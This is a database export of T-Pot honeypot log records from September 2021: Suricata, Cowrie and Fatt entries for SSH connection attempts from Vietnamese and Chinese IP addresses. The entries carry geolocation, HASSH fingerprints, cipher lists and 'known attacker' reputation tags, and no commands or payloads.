24963	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:26.365589+03	2021-09-20 14:15:09.480472+03	{"_id": "sAblAnwBvYTbRNuEfhfc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2201340053108405, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44696, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.365589Z", "@timestamp": "2021-09-20T11:09:26.365Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24969	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:09:27.422374+03	2021-09-20 14:15:09.4895+03	{"_id": "vAblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:37002 (192.168.176.2:22) [session: 5307918302be]", "session": "5307918302be", "@version": "1", "protocol": "ssh", "src_port": 37002, "dest_port": 22, "timestamp": "2021-09-20T11:09:27.422374Z", "@timestamp": "2021-09-20T11:09:27.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24964	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:26.648776+03	2021-09-20 14:15:09.482499+03	{"_id": "swblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59508, "timestamp": "2021-09-20T11:09:26.648776", "@timestamp": "2021-09-20T11:09:26.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24965	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:26.36613+03	2021-09-20 14:15:09.483501+03	{"_id": "uAblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44696, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.366130", "@timestamp": "2021-09-20T11:09:26.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24966	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:26.804699+03	2021-09-20 14:15:09.4855+03	{"_id": "uQblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37632, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.804699", "@timestamp": "2021-09-20T11:09:26.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24967	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:26.452902+03	2021-09-20 14:15:09.486504+03	{"_id": "ugblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:37632 (192.168.176.2:22) [session: 0f0126aee32a]", "session": "0f0126aee32a", "@version": "1", "protocol": "ssh", "src_port": 37632, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.452902Z", "@timestamp": "2021-09-20T11:09:26.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24968	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:27.263948+03	2021-09-20 14:15:09.487501+03	{"_id": "uwblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:44954 (192.168.176.2:22) [session: 1a63fe42fac6]", "session": "1a63fe42fac6", "@version": "1", "protocol": "ssh", "src_port": 44954, "dest_port": 22, "timestamp": "2021-09-20T11:09:27.263948Z", "@timestamp": "2021-09-20T11:09:27.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24970	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:26.510236+03	2021-09-20 14:15:09.4905+03	{"_id": "xwblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0f0126aee32a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:26.510236Z", "@timestamp": "2021-09-20T11:09:26.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24971	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.649007+03	2021-09-20 14:15:09.4925+03	{"_id": "yAblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5d606a35689f", "@version": "1", "timestamp": "2021-09-20T11:09:26.649007Z", "@timestamp": "2021-09-20T11:09:26.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24972	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:26.805283+03	2021-09-20 14:15:09.49347+03	{"_id": "yQblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0f0126aee32a", "@version": "1", "timestamp": "2021-09-20T11:09:26.805283Z", "@timestamp": "2021-09-20T11:09:26.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
